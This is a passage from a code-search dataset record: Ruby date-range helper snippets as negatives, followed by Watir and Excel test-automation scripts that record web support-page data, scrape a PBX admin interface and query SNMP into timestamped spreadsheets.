= Date.today\n\t\t\t when 'current_year'\n\t\t\t\t@from = Date.civil(Date.today.year, 1, 1)\n\t\t\t\t@to = Date.civil(Date.today.year, 12, 31)\n\t end\n\t\telsif period_type == '2' || (period_type.nil? && (!fromdate.nil? || !todate.nil?))\n\t\t begin; @from = fromdate.to_s.to_date unless fromdate.blank?; rescue; end\n\t\t begin; @to = todate.to_s.to_date unless todate.blank?; rescue; end\n\t\t @free_period = true\n\t\telse\n\t\t # default\n\t\t # 'current_month'\t\t\n\t\t\t@from = Date.civil(Date.today.year, Date.today.month, 1)\n\t\t\t@to = (@from >> 1) - 1\n\t end \n\t\t\n\t\t@from, @to = @to, @from if @from && @to && @from > @to\n\n\tend", "def date_range_valid?(start_date, end_date)\n\tif start_date > end_date\n\t\tputs \"Start date must be before end date\"\n\t\treturn false\n\telsif start_date + MAX_DAYS < end_date\n\t\tputs \"\\n No more than #{MAX_DAYS}. Be nice to the remote server.\"\n\t\treturn false\n\tend\n\treturn true\nend", "def between?(value, min = nil, max = nil)\n if min and value < min\n return false\n elsif max and value > max\n return false\n end\n return true\n end", "def random_date(from = 0.0, to = Time.now)\n Time.at(from+rand * (to.to_f - from.to_f)).strftime(\"%d/%m/%y\")\nend", "def between(num, min, max)\n if min <= num && max >= num\n return true\n else \n return false\n end\nend", "def between?(min, max)\n #This is a stub, used for indexing\n end", "def to_range\n min .. max\n end", "def range(min, max)\n \tarr = []\n\tfor i in min..max\n arr << i\n end\n return arr\nend", "def rand_between(min, max)\n rand(max - min + 1) + min\nend", "def get_drs_from_range(start_date, end_date)\n self.delta_requests.select do |dr|\n begin\n dr.start_time > start_date and dr.start_time < end_date\n rescue\n false\n end\n end\n end", "def rand_range(min,max)\n return min + (max-min)*rand\nend", "def resolve_range(date1_str, date2_str)\n # Make unknown digits at the beginning or end of range\n date1 = date1_str.tr('u', '0').to_i\n date2 = date2_str.tr('u', '9').to_i\n\n # Do we have a range we can use?\n return unless (date2 > date1) && ((date2 - date1) <= ESTIMATE_TOLERANCE)\n\n (date2 + date1) / 2\n end", "def report_period_to_range\n daily_report = false\n range = case self\n when 'this_month'\n daily_report = true\n (Date.today.beginning_of_month..Date.today)\n when 'last_month'\n daily_report = true\n (1.month.ago.to_date.beginning_of_month..1.month.ago.to_date.end_of_month)\n when 'last_6_months'\n (5.months.ago.to_date.beginning_of_month..Date.today).select {|d| d.day == 1}\n when 'this_year'\n (Date.today.beginning_of_year..Date.today).select {|d| d.day == 1}\n end\n [range, daily_report]\n end", "def between(from, to)\n FFaker::Time.between(from, to).to_date\n end", "def retrieve_date_range_11\n @free_period = false\n @from, @to = nil, nil\n\n if params[:period_type] == '1' || (params[:period_type].nil? && !params[:period].nil?)\n case params[:period].to_s\n when 'today'\n @from = @to = Date.today\n when 'yesterday'\n @from = @to = Date.today - 1\n when 'current_week'\n @from = Date.today - (Date.today.cwday - 1)%7\n @to = @from + 6\n when 'last_week'\n @from = Date.today - 7 - (Date.today.cwday - 1)%7\n @to = @from + 6\n when '7_days'\n @from = Date.today - 7\n @to = Date.today\n when 'current_month'\n @from = Date.civil(Date.today.year, Date.today.month, 1)\n @to = (@from >> 1) - 1\n when 'last_month'\n @from = Date.civil(Date.today.year, Date.today.month, 1) << 1\n @to = (@from >> 1) - 1\n when '30_days'\n @from = Date.today - 30\n @to = Date.today\n when 'current_year'\n @from = Date.civil(Date.today.year, 1, 1)\n @to = Date.civil(Date.today.year, 12, 31)\n end\n elsif params[:period_type] == '2' || (params[:period_type].nil? && (!params[:from].nil? || !params[:to].nil?))\n begin; @from = params[:from].to_s.to_date unless params[:from].blank?; rescue; end\n begin; @to = params[:to].to_s.to_date unless params[:to].blank?; rescue; end\n @free_period = true\n else\n # default\n end\n \n @from, @to = @to, @from if @from && @to && @from > @to\n @from ||= (TimeEntry.earilest_date_for_project(@project) || Date.today)\n @to ||= (TimeEntry.latest_date_for_project(@project) || Date.today)\n end", "def within(range: 1.00..5000.00)\n between(from: range.min, to: range.max)\n end", "def declare_beg_range\n\t\t@beg_range = @beg_range.to_date \n\t\t@end_range = @end_range.to_date \n\tend", "def new_with_date_range(begin_date, end_date)\n report = new\n report.set_date_range(begin_date, end_date)\n report\n end", "def find_months_between(dates)\n\n start_date = dates.first\n end_date = dates.last\n\n output = []\n # Handle the case where there is no data.\n if start_date.nil? or end_date.nil?\n return output\n end\n # Loop through years\n (start_date.year..end_date.year).each do |y|\n # Find the range of months needed\n start_month = y == start_date.year ? start_date.month : 1\n end_month = y == end_date.year ? end_date.month : 12\n\n # Loop through months\n (start_month..end_month).each do |m|\n output.append(Date.new(y, m, 1))\n end\n end\n output\n end", "def range(range)\n opts[:min] = range.begin\n opts[:max] = range.end\n end", "def age_in_range(date, range)\n @age = ((Time.zone.now - date.to_time) / 1.years.seconds).to_i\n @election_range = range.split('-')\n if @election_range.length > 1 # commom case like (30-45)\n return !(@age < @election_range[0].to_i || @age > @election_range[1].to_i)\n else # case 61 or more\n return @age >= 61\n end\n end", "def semantic_date_range_tag(date_from, date_to, options = {})\n SemanticDateTimeTags::Tag::DateRange.new(date_from, date_to, options).to_html\n end", "def range(min, max)\n\trange = []\n\n\ti = min\n\twhile i <= max\n\t\trange << i\n\t\ti += 1\n end\n \n\treturn range\nend", "def range(data)\n return (minimum(data)..maximum(data))\n end", "def month_range( year, start_month, end_month )\n\t return Time.local( year, start_month ).at_beginning_of_month, Time.local(year,end_month).at_end_of_month\n\tend", "def set_time_range\n begin_date = Date.strptime(params[:begin_date], '%Y-%m-%d') rescue User.minimum(:created_at) rescue Date.new(2015)\n end_date = Date.strptime(params[:end_date], '%Y-%m-%d') rescue Time.zone.today\n @stats_time_range = (begin_date.beginning_of_day)..(end_date.end_of_day)\n end", "def date_set(date_from, date_to)\n # if the first parameter is empty, default to using second date instead\n date_from = date_overwrite(date_from, date_to)\n date_to = date_overwrite(date_to, date_from)\n\n # after date potentially duplicated above, use first/last entry years\n # and first/last day of year to cover missing year, month, and day\n date_from = date_default(date_from, [DATE_FIRST[0], \"01\", \"01\"])\n date_to = date_default(date_to, [DATE_LAST[0], \"12\", \"31\"])\n\n date_from = date_format(date_from, default_year: DATE_FIRST[0].to_i)\n date_to = date_format(date_to, default_year: DATE_LAST[0].to_i)\n\n # Set parameters so form populated with calculated dates\n params[:date_from] = date_from.split(\"-\")\n params[:date_to] = date_to.split(\"-\")\n\n [date_from, date_to]\n end", "def build_condition_for_date(start_date, end_date, start_date_string=\"created_at\", end_date_string=\"created_at\")\n\t\t\" #{start_date_string} >= '#{start_date.to_time}' and #{end_date_string} <= '#{end_date.to_time + 1.day}' \" if validate_date?(start_date,end_date)\n\tend", "def out_of_bounds?(date)\n date < @available_date_range[:min] || date > @available_date_range[:max]\n end", "def validate_between_dates(record, attribute, earliest_date, latest_date)\n return if attribute.nil? || record.nil? || !record.has_attribute?(attribute)\n\n # Get the new value to validate\n value = record[attribute]\n return if value.nil?\n\n # Validate that the value acts like a Date and add error otherwise\n attribute_label = attribute&.to_s&.humanize&.titleize\n record.errors.add(attribute, \"#{value} is not valid for the #{attribute_label} field. Must be a valid date.\") && return unless value.acts_like?(:date)\n\n # Validate inclusivity of Date, and add error if not valid\n is_valid = value >= earliest_date && value <= latest_date\n return if is_valid\n\n err_message = \"#{value} is not valid for the #{attribute_label} field. Must be a valid date between (inclusive) #{earliest_date} and #{latest_date}.\"\n record.errors.add(attribute, err_message)\n end", "def date_range(target, source, opts = {})\n params = parameters(opts)\n\n # @note OpenCorporates date range format.\n if params[source]\n output[target] = \"#{params[source]}:#{params[source]}\"\n elsif params[\"#{source}>=\"] || params[\"#{source}>\"] || params[\"#{source}<=\"] || params[\"#{source}<\"]\n output[target] = \"#{params[\"#{source}>=\"] || params[\"#{source}>\"]}:#{params[\"#{source}<=\"] || params[\"#{source}<\"]}\"\n end\n\n output\n end", "def start_date\n @start_date = Date.strptime(date_range_to_dates.first, \"%m/%d/%Y\")\n end", "def day_range(rng=self)\n if rng.respond_to?(:exclude_end?) && rng.exclude_end?\n Range.new(rng.begin.to_date, rng.end.to_date, true)\n else\n Range.new(rng.begin.to_date, rng.end.to_date + 1, true)\n end\n end", "def sred_range_for_date(date=today_as_date)\n start_of_year = (Date.new(date.year, 1, 1)..Date.new(date.year, 7, 31))\n if start_of_year.include?(date)\n return \"#{(date.year - 1)}/#{date.year}\"\n else\n return \"#{date.year}/#{date.year + 1}\"\n end\n end", "def retrieve_date_range\n\t\t@free_period = false\n\t\t@from, @to = nil, nil\n\t\tperiod_type = session[:wkassetdepreciation][:period_type]\n\t\tperiod = session[:wkassetdepreciation][:period]\n\t\tfromdate = session[:wkassetdepreciation][:from]\n\t\ttodate = session[:wkassetdepreciation][:to]\n\t\t\n\t\tif (period_type == '1' || (period_type.nil? && !period.nil?)) \n\t\t case period.to_s\n\t\t\t when 'today'\n\t\t\t\t@from = @to = Date.today\n\t\t\t when 'yesterday'\n\t\t\t\t@from = @to = Date.today - 1\n\t\t\t when 'current_week'\n\t\t\t\t@from = getStartDay(Date.today - (Date.today.cwday - 1)%7)\n\t\t\t\t@to = @from + 6\n\t\t\t when 'last_week'\n\t\t\t\t@from =getStartDay(Date.today - 7 - (Date.today.cwday - 1)%7)\n\t\t\t\t@to = @from + 6\n\t\t\t when '7_days'\n\t\t\t\t@from = Date.today - 7\n\t\t\t\t@to = Date.today\n\t\t\t when 'current_month'\n\t\t\t\t@from = Date.civil(Date.today.year, Date.today.month, 1)\n\t\t\t\t@to = (@from >> 1) - 1\n\t\t\t when 'last_month'\n\t\t\t\t@from = Date.civil(Date.today.year, Date.today.month, 1) << 1\n\t\t\t\t@to = (@from >> 1) - 1\n\t\t\t when '30_days'\n\t\t\t\t@from = Date.today - 30\n\t\t\t\t@to = Date.today\n\t\t\t when 'current_year'\n\t\t\t\t@from = Date.civil(Date.today.year, 1, 1)\n\t\t\t\t@to = Date.civil(Date.today.year, 12, 31)\n\t end\n\t\telsif period_type == '2' || (period_type.nil? && (!fromdate.nil? || !todate.nil?))\n\t\t begin; @from = fromdate.to_s.to_date unless fromdate.blank?; rescue; end\n\t\t begin; @to = todate.to_s.to_date unless todate.blank?; rescue; end\n\t\t @free_period = true\n\t\telse\n\t\t # default\n\t\t # 'current_month'\t\t\n\t\t\t@from = Date.civil(Date.today.year, Date.today.month, 1)\n\t\t\t@to = (@from >> 1) - 1\n\t end \n\t\t\n\t\t@from, @to = @to, @from if @from && @to && @from > @to\n\n\tend", "def between?(min, max)\n utc.between?(min, max)\n end", "def validate_date?(start_date,end_date)\n\t\tstart_date <= end_date\n\tend", "def rand_in_range(from, to); end", "def create_date_range(project_id, query_id, opts = {})\n post \"projects/#{project_id}/queries/#{query_id}/date-range\", opts\n end", "def range_start=( value ); @range_start = value; rationalise_dates(); end", "def test_date date\n res = true\n res = res && @min_date_filter <= date if @min_date_filter\n res = res && @max_date_filter >= date if @max_date_filter\n res\n end", "def between_min_max?(value, min, max) # TODO Repetido en concern/Methods\n return true if value >= min and value <= max\n return false\n end", "def slice(start_x, end_x)\n if start_x.class == Fixnum\n if end_x.class == Fixnum\n dates[(start_x-1)..(end_x-1)]\n else\n dates[start_x-1..-1].select{|d| d <= end_x}\n end\n elsif start_x.class ==Date \n if end_x.class == Date\n dates.select{|d| d >= start_x and d <= end_x}\n else\n dates.select{|d| d >= start_x}[0..end_x-1]\n end\n end\n end" ]
[ "0.7558425", "0.69964004", "0.68260676", "0.654374", "0.654374", "0.6537975", "0.64115566", "0.63960046", "0.6286771", "0.6280883", "0.6237664", "0.62217826", "0.6199435", "0.61981755", "0.61960113", "0.61845976", "0.6180567", "0.61477375", "0.6092768", "0.60652393", "0.60336006", "0.602475", "0.60139567", "0.5958548", "0.59136087", "0.59107435", "0.58927256", "0.586829", "0.5863897", "0.5846035", "0.5841839", "0.5818479", "0.5767806", "0.5745781", "0.57386667", "0.5704315", "0.56958276", "0.5661118", "0.5633261", "0.5626264", "0.56091315", "0.55987406", "0.55714047", "0.5562882", "0.55557185", "0.55348736", "0.5533816", "0.55285776", "0.5524785", "0.55141896", "0.5506549", "0.5480433", "0.54788834", "0.54687434", "0.54593503", "0.54591674", "0.5455073", "0.5455073", "0.54299456", "0.5424674", "0.54031736", "0.53907746", "0.53876793", "0.5382842", "0.5376359", "0.5364628", "0.5364424", "0.5361407", "0.53542787", "0.5334814", "0.5328307", "0.5323139", "0.5307456", "0.5304436", "0.5301251", "0.5276497", "0.52694625", "0.5259338", "0.52493846", "0.5248195", "0.52451944", "0.5234768", "0.5234366", "0.5230175", "0.52295816", "0.52270204", "0.52161264", "0.52133495", "0.52132833", "0.520858", "0.5208283", "0.52066106", "0.52052885", "0.52044636", "0.5203902", "0.5198708", "0.51916546", "0.51848227", "0.5184443", "0.51689297" ]
0.83546555
0
create time stamped controller spreadsheet open IE or attach to existing IE session populate the spreadsheet with web support page info
def setup(file) base_xl = (file).gsub('/','\\').chomp('rb')<<'xls' excel = xls_timestamp(base_xl) # timestamped instance of excel end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def xls_timestamp(g,s_s,type=nil,rs_name=nil)\r\n new_ss = (s_s.chomp(\".xls\")<<'_'<<g.t_stamp<<(\".xls\"))\r\n new_ss1 = new_ss.sub(/Tools\\\\.+\\\\/,\"result\\\\#{rs_name}\\\\\")\r\n if (type == 'ind') # driver was launched independently\r\n xl = g.new_xls(s_s,1) #open base driver ss with new excel session\r\n else # driver was launched by controller\r\n xl = g.conn_open_xls(s_s,1) #connect to existing excel session and create new workbook for L2\r\n end\r\n ws = xl[2] # worksheet\r\n\r\n param = Array.new\r\n param[0] = new_ss1\r\n param[1] = ws.Range(\"b2\")['Value'].to_i # rows\r\n param[2] = ws.Range(\"b3\")['Value'] # Test_site\r\n param[3] = ws.Range(\"b4\")['Value'] # username\r\n param[4] = ws.Range(\"b5\")['Value'] # password\r\n\r\n # This is a nested array that contains the instance of excel\r\n # and the spreadsheet parameters listed directly above\r\n excel = [xl,param]\r\n\r\n # save spreadsheet as timestamped name.\r\n g.save_as_xls(xl,new_ss1)\r\n return excel\r\nend\r\n\r\ndef support(g,xl)\r\n puts \" Collect Support page info\"\r\n g.supp.click\r\n sleep 1\r\n wb,ws = xl[1,2]\r\n row = 1\r\n while ws.Range(\"A#{row}\")['Value'] != nil # find the row to start recording support info.\r\n row = row + 1\r\n end\r\n supprt.each do|key|\r\n if !key[0].nil?\r\n c = ws.range(\"A#{(row)}:B#{(row)}\")\r\n c.value = key\r\n c.Interior['ColorIndex'] = 19 # change background color\r\n c.Borders.ColorIndex = 1 # add border\r\n #ws.range(\"A#{row}:B#{row}\").Columns.Autofit\r\n row+=1\r\n end\r\n end\r\n os = ws.range(\"A#{(row)}:B#{(row)}\") #add system os info to ss\r\n os.value = [\"Operating System Language\",\"#{$os}\"]\r\n os.Interior['ColorIndex'] = 43 # change background color\r\n os.Borders.ColorIndex = 1 # add border\r\n ws.range(\"A:B\").ColumnWidth = 255 #255 is the maximum column width\r\n ws.range(\"A:B\").Rows.Autofit\r\n ws.range(\"A:B\").Columns.Autofit\r\n wb.Save\r\nend\r\n\r\n\r\ndef systemos\r\n lang = `systeminfo`\r\n if lang =~ /en-us*/\r\n $os = \"English\"\r\n $titl = \"Connect to \"\r\n $ok =\"OK\"\r\n $cancel = \"Cancel\"\r\n elsif lang =~ /zh-cn*/\r\n $os = \"Chinese\"\r\n $titl = \"连接到 \"\r\n $ok =\"确定\"\r\n $cancel = \"取消\"\r\n end\r\n puts \"This OS is #{$os}\"\r\nend\r\n\r\n# - Support table\r\n#def supprt; det.table(:index, 2).to_a .compact; end\r\ndef supprt\r\n $ie.frame(:index, 5).table(:index, 2).to_a .compact\r\nend\r\n\r\nbegin\r\n puts\" \\n Executing: #{(__FILE__)}\\n\\n\" # print current filename\r\n g = Generic.new\r\n roe = ARGV[1].to_i\r\n excel = setup(g,__FILE__)\r\n wb,ws = excel[0][1,2]\r\n rows = excel[1][1]\r\n\r\n $ie.speed = :zippy\r\n ws = wb.Worksheets('Data')\r\n\r\n g.count_frames\r\n g.monitor.click\r\n sleep(5)\r\n while g.count_images('folderplus.gif') > 0\r\n g.click_all('folderplus.gif')\r\n end\r\n\r\n g.populate_links_array\r\n\r\n #Clean up the links array for the navigation frame\r\n\r\n for i in 2..g.links_array[3].size-1 do # Exclude the Bezel page and Active Events page.\r\n begin\r\n #We don't want to click links with parenthesis for this test case\r\n unless g.links_array[3][i].text =~ /\\(\\d*\\)/ then\r\n puts \"Trying link: #{g.links_array[3][i].text}\"\r\n $ie.frame(:index, 4).link(:id, g.links_array[3][i].id).click\r\n sleep(2) #Wait for the table to finish populating\r\n if g.links_array[3][i-1].text =~ /\\[\\d*\\]/ then\r\n g.table_to_ss(5,ws,g.links_array[3][i].text + ' ' + $&)\r\n else\r\n g.table_to_ss(5,ws,g.links_array[3][i].text)\r\n end\r\n end\r\n rescue => e\r\n if e.to_s =~ /unknown property or method/ then\r\n next #Ignore this error and continue the loop - I think it raises an\r\n #exception because it is trying to access the text of an image...\r\n else\r\n puts e.to_s\r\n end\r\n end\r\n end\r\n\r\nrescue Exception => e\r\n puts\" \\n\\n **********\\n\\n #{$@ } \\n\\n #{e} \\n\\n ***\"\r\n error_present=$@.to_s\r\n\r\nensure #this section is executed even if script goes in error\r\n f = Time.now\r\n # If roe > 0, script is called from controller\r\n # If roe = 0, script is being ran independently\r\n #Close and save the spreadsheet and thes web browser.\r\n g.tear_down_d(excel[0],s,f,roe,error_present)\r\n if roe == 0\r\n $ie.close\r\n end\r\nend\r\n", "def setup(g,file,rs_name = nil)\r\n systemos #Determine whether the OS is Chinese or English\r\n base_xl = (file).gsub('/','\\\\').chomp('rb')<<'xls'\r\n if(ARGV.length != 0) # called from controller\r\n excel = xls_timestamp(g,base_xl,nil,ARGV[2]) # called ,connect to existing excel instance. # ARGV[2] is the result sub-folder name.\r\n g.attach_ie(excel[1][2]) # test site ip\r\n else\r\n excel = xls_timestamp(g,base_xl,'ind',rs_name) # independent, start new excel instance\r\n g.open_ie(excel[1][2])\r\n support(g,excel[0])\r\n g.ver_info(excel[0])\r\n end\r\n return excel\r\nend", "def tab_sprint\n @ole.open\n @ole.browser.link(:text => 'Admin').when_present.click\n @ole.browser.link(:text => 'Maintenance').when_present.click\n @ole.browser.link(:text => 'Select/Acquire').when_present.click\n @ole.browser.link(:text => 'Describe').when_present.click\n @ole.browser.link(:text => 'Deliver').when_present.click\n end", "def open_browser_ie \n\t\trequire 'watir-webdriver'\n\t\t@browser = Watir::Browser.new :ie\n\tend", "def excel_create\n raise ExcelError.new('Cannot create excel! An instance is already open') unless @excel.nil?\n\n @excel = WIN32OLE.new('Excel.Application', 'localhost')\n @excel.DisplayAlerts = false\n update_pid(excel_pid)\n end", "def login_SSO(excel_folder_Name, sheet_Name, row, column)\n\n if browser_override.exists?\n browser_override.when_present.click\n end\n\n if @browser.input(class: 'button', text: 'No').exists?\n @browser.input(class: 'button').click\n end\n if logoutBtn.exists?\n logoutBtn.when_present.click\n end\n # userName.when_present.set excel(\"UsdaTestData.xlsx\", \"Login_info\", 1, 0) #worksheet[1][0].value ************ VVI ****************\n # password.when_present.set excel(\"UsdaTestData.xlsx\", \"Login_info\", 1, 1) #worksheet[1][1].value ************ VVI ****************\n sync_obj(userName, \"SSO username input field not displayed as expected\")\n userName.when_present.set excel(excel_folder_Name, sheet_Name, row, column) #worksheet[1][0].value ************ VVI ****************\n password.when_present.set excel(excel_folder_Name, sheet_Name, row, column+1) #worksheet[1][1].value ************ VVI ****************\n # *******************************\n # $rand_data = [*10..48].sample\n # p \"iteuser#{$rand_data}\"\n # userName.when_present.set \"iteuser#{$rand_data}\"\n # password.when_present.set \"itetest\"\n # *******************************\n\n if submit_Button_error.exists?\n submit_Button_error.when_present.click\n else\n submit_Button.when_present.click\n end\n\n sleep 3\n # @browser.title.include? 'https://sso.preprod.uscis.dhs.gov/sso/dashboard'\n\n sync_obj(logoutBtn, 'Logout Button not displayed and login not successful')\n if logoutBtn.exists?\n puts '***** Login Successful *****'\n end\n # @browser.send_keys [:control,'t']\n # # browser = Watir::Browser.new :ie\n # browser.windows.last.use\n\n end", "def te_st_DOL_016_Access_SupportHome\r\n\r\n sTestCase_Name = \"test_DOL_016_Access_SupportHome\"\r\n sPageName = \"Support Home\"\r\n puts2(\"\")\r\n puts2(\"Starting Testcase: #{sTestCase_Name}\")\r\n\r\n # Continue since prior test cases have passed\r\n if(@@bContinue == true)\r\n #@@bContinue = false # Clear flag since this test has NOT passed yet\r\n\r\n begin # Access Validation DOL page: Support Home\r\n\r\n puts2(\"\\t Get the identifiers of the current window...\")\r\n sMainWindowTitle = $browser.title\r\n sMainWindowURL = $browser.url\r\n puts2(\"\\t sMainWindowTitle: '\" + sMainWindowTitle + \"'\")\r\n puts2(\"\\t sMainWindowURL: \" + sMainWindowURL)\r\n if($browser.is_ie? == true)\r\n iMainWindowHWND = $browser.hwnd() # Not supported in FireWatir\r\n puts2(\"\\t iMainWindowHWND \" + iMainWindowHWND.to_s)\r\n end\r\n\r\n=begin\r\n ################## Support Home ##################\r\n=end\r\n\r\n # Capture time before navigating to next page\r\n tPageLoadTime = Time.now\r\n\r\n puts2(\"Accessing page - \" + sPageName)\r\n assert($browser.access_quicklink_Help?())\r\n\r\n puts2(\"\\t Attach to the new window...\")\r\n\r\n # Secondary window\r\n $browser.window(:url => EXTERNAL_SITE_URL[\"SupportHome\"]).use do\r\n\r\n $browser.wait_until_status(\"Done\")\r\n\r\n # Calculate and record the elapsed time for the current test case\r\n puts2(\"\\t Page load time - \" + sPageName + \", \" + calc_elapsed_time(tPageLoadTime, false))\r\n puts2(\"\\t Url - \" + sPageName + \" : \"+ $browser.url)\r\n puts2(\"\\t Title - \" + sPageName + \" : \"+ $browser.title)\r\n\r\n sActualSecondaryBrowserUrl = $browser.url\r\n sExpectedSecondaryBrowserUrl = EXTERNAL_SITE_URL[\"SupportHome\"]\r\n\r\n puts2(\"\\t Validating on the page: \" + sPageName)\r\n if(sExpectedSecondaryBrowserUrl != sActualSecondaryBrowserUrl)\r\n raise(\"*** URL's don't match. \\n\\t Expected: \" + sExpectedSecondaryBrowserUrl + \"\\n\\t Actual: \" + sActualSecondaryBrowserUrl)\r\n else\r\n assert($browser.isPage_dishonline_SupportHome?()== true)\r\n end\r\n\r\n puts2(\"Close the second window...\")\r\n $browser.window(:url => EXTERNAL_SITE_URL[\"SupportHome\"]).close\r\n\r\n end # Secondary window\r\n\r\n puts2(\"Back to the main window...\")\r\n puts2(\"\\t Current browser Url: \" + $browser.url.to_s)\r\n puts2(\"\\t Current browser Title: \" + $browser.title.to_s)\r\n\r\n puts2(\"\\t Validating on the page: Home\")\r\n assert($browser.isPage_dishonline_Home?() == true)\r\n\r\n\r\n rescue => e\r\n\r\n puts2(\"*** ERROR Backtrace: \" + e.message + \"\\n\" + e.backtrace.join(\"\\n\"), \"ERROR\")\r\n\r\n puts2(\"\")\r\n puts2(\"\\t Current Url - : \"+ $browser.url)\r\n puts2(\"\\t Current Title - : \"+ $browser.title)\r\n #$browser.save_screencapture(\"Dish\" + sPageName , false) # Save the desktop\r\n $browser.save_html(\"Dish\" + sPageName)\r\n\r\n #$browser.generate_testcode_html_tag_counts()\r\n #$browser.generate_testcode_html_tag_attributes()\r\n\r\n raise(\"*** TESTCASE - #{sTestCase_Name}\")\r\n\r\n ensure\r\n\r\n #@@bContinue = true # Set flag since testcase passed\r\n\r\n # Set the flag to close the $browser after the last test case runs\r\n #@@bCloseBrowser = true\r\n\r\n\r\n end # Access Validation DOL page: Support Home\r\n\r\n end # Continue since prior test cases have passed\r\n\r\nend", "def read_server_write_file(agent, creds, url, outfilename, field_blacklist, field_order, categories)\n wb = RubyXL::Workbook.new\n\n # Admin worksheet\n ws_admin = wb.add_worksheet('Admin')\n ws_admin.add_cell(0, 0, 'Admin user')\n ws_admin.add_cell(0, 1, 'Password')\n ws_admin.add_cell(1, 0, creds[:username])\n ws_admin.add_cell(1, 1, creds[:password])\n\n SUPPORTED_TABS.each do |tab|\n category = tab.downcase\n next unless categories.empty? || categories.include?(category.sub(/\\..*/, ''))\n ws = nil # Delay creating the worksheet until we know whether there are any entries to put on it\n\n case category\n # Extensions have a subcategory: tech. Different technologies have different attributes, which means they can't\n # share a tab in the Excel file so easily.\n when /extensions\\./\n category,tech = category.split('.')\n ext_page = get_page(agent, creds, url + CONFIG, {display: category})\n ext_grid_result = get_page(agent, creds, url + AJAX,\n {module: :core, command: :getExtensionGrid, type: tech, order: :asc}, ext_page.uri.to_s)\n ext_grid = JSON.parse(ext_grid_result.body)\n extn_table = []\n ext_grid.each do |ext|\n ext_page = get_page(agent, creds, url + CONFIG,\n {display: :extensions, extdisplay: ext['extension']}, ext_grid_result.uri.to_s)\n puts \"Extension #{ext['extension']}\" unless $quiet\n ws ||= wb.add_worksheet(tab)\n extn_table << construct_row_from_form(ext_page.form('frm_extensions'), field_blacklist[category])\n end\n write_table(ws, extn_table, field_order[category]) if ws\n\n # Trunks have a subcategory: tech. Different technologies have different attributes, which means they can't\n # share a tab in the Excel file so easily.\n when /trunks\\./\n category,tech = category.split('.')\n trunks_page = get_page(agent, creds, url + CONFIG, {display: :trunks})\n trunks_grid_result = get_page(agent, creds, url + AJAX,\n {module: :core, command: :getJSON, jdata: :allTrunks, order: :asc}, trunks_page.uri.to_s)\n trunks_grid = JSON.parse(trunks_grid_result.body)\n\n trnk_table = []\n trunks_page.css('table#table-all/tbody/tr').each do |tr| # For each trunk, find its table row...\n next unless tr.css('td')[1].text == tech # ...ignore if wrong tech\n a = tr.css('td/a') # Find the 'edit' link\n if a and a.first\n linkaddr = a.first['href'] # Follow trunk's 'edit' link\n trunk_page = get_page(agent, creds, url + ADMIN + '/' + linkaddr, '', trunks_page.uri.to_s)\n # Look up this trunk in the JSON data returned from the AJAX request (without assuming row ordering)\n trk_data = trunks_grid.detect { |e| e['trunkid'] == tr['id'] }\n puts \"Trunk #{trk_data['name']}\" unless $quiet\n # Tell the form-reader to override certain radioboxes, based on the JSON data.\n # This is necessary because the returned form doesn't contain the currently selected data. Instead,\n # a JavaScript script retrieves some JSON data and sets some of the radioboxes. It even overrides\n # the value of the 'outcid' field (which is not emulated here).\n override = {\n hcidyes: (/hidden/ =~ trk_data['outcid']),\n hcidno: !(/hidden/ =~ trk_data['outcid']),\n keepcidoff: trk_data['keepcid'] == 'off',\n keepcidon: trk_data['keepcid'] == 'on',\n keepcidcnum: trk_data['keepcid'] == 'cnum',\n keepcidall: trk_data['keepcid'] == 'all',\n continueno: trk_data['continue'] == 'off',\n continueyes: !(trk_data['continue'] == 'off'),\n disabletrunkno: trk_data['disabled'] == 'off',\n disabletrunkyes: !(trk_data['disabled'] == 'off')\n }\n\n ws ||= wb.add_worksheet(tab)\n trnk_table << construct_row_from_form(trunk_page.form('trunkEdit'), field_blacklist[category], override)\n end\n write_table(ws, trnk_table, field_order[category]) if ws\n end\n end\n end\n\n #wb.delete_worksheet('Sheet1')\n wb.write(outfilename)\nend", "def xls_timestamp(s_s)\r\n new_ss = (s_s.chomp(\".xls\")<<'_'<<Time.now.to_a.reverse[5..9].to_s<<(\".xls\"))\r\n new_ss1 = new_ss.sub('driver','result')\r\n xl = new_xls(s_s,1) #open base driver ss with new excel session\r\n ws = xl[2] # worksheet\r\n param = Array.new # contains no elements. just used as a place holder here\r\n excel = [xl,param]\r\n\r\n # save spreadsheet as timestamped name.\r\n save_as_xls(xl,new_ss1)\r\n return excel\r\nend\r\n\r\n#\r\n# - createand return new instance of excel\r\ndef new_xls(s_s,num) #wb name and sheet number\r\n ss = WIN32OLE::new('excel.Application')\r\n wb = ss.Workbooks.Open(s_s)\r\n ws = wb.Worksheets(num)\r\n ss.visible = true # For debug\r\n xls = [ss,wb,ws]\r\nend\r\n\r\n#\r\n# - save an existing workbook as another file name\r\ndef save_as_xls(s_s,save_as)\r\n sleep 1\r\n s_s[2].saveas(save_as)\r\nend\r\n\r\n#\r\n# - snmpget using Net-Snmp\r\ndef snmpget(com,ip,mib,oid)\r\n command = 'snmpget -v2c -c '<< com << ' ' << ip << ' ' << mib << '::' << oid\r\n puts\" #{command}\" ; $stdout.flush\r\n return `#{command}`.split(/ /)[3] # value is in 4th element\r\nend\r\n#\r\n# - teardown driver - this function will update driver spreadsheet.\r\ndef tear_down_d(s_s,s,f)\r\n # The variable 's_s' is an array that holds the current spreadsheet instance\r\n ss,wb,ws = s_s\r\n #Save Summary and elapsed time to current ss\r\n ws.Range(\"b8\")['Value'] = s.to_s\r\n ws.Range(\"b9\")['Value'] = f.to_s\r\n run_time = elapsed(f,s)\r\n ws.Range(\"b10\")['Value'] = run_time.to_s\r\n wb.save\r\n wb.close #Close Driver spreadsheet\r\nend\r\n\r\n#\r\n# - calculates difference between start and finish time\r\ndef elapsed(finish,start)\r\n time = (finish-start).to_i\r\n hours = time/3600.to_i\r\n minutes = (time/60 - hours * 60).to_i\r\n seconds = (time - (hours * 3600 + minutes * 60)).to_i\r\n test_time = minutes.to_s << 'min'<<seconds.to_s<<'sec'\r\n puts \"\\n\\nTest Start = \"<<start.strftime(\"%H:%M:%S\")\r\n puts \"Test Finish = \"<<finish.strftime(\"%H:%M:%S\")\r\n puts \"Test Time = #{minutes}min#{seconds}sec\"\r\n return test_time\r\nend\r\n\r\n\r\nputs\" \\n Executing: #{(__FILE__)}\\n\\n\" # show current filename\r\nexcel = setup(__FILE__)\r\nwb,ws = excel[0][1,2]\r\n\r\nip,mib,com = ws.Range(\"b2:b4\")['Value'].map{|x|x.to_s}\r\nrows,iter,dly = 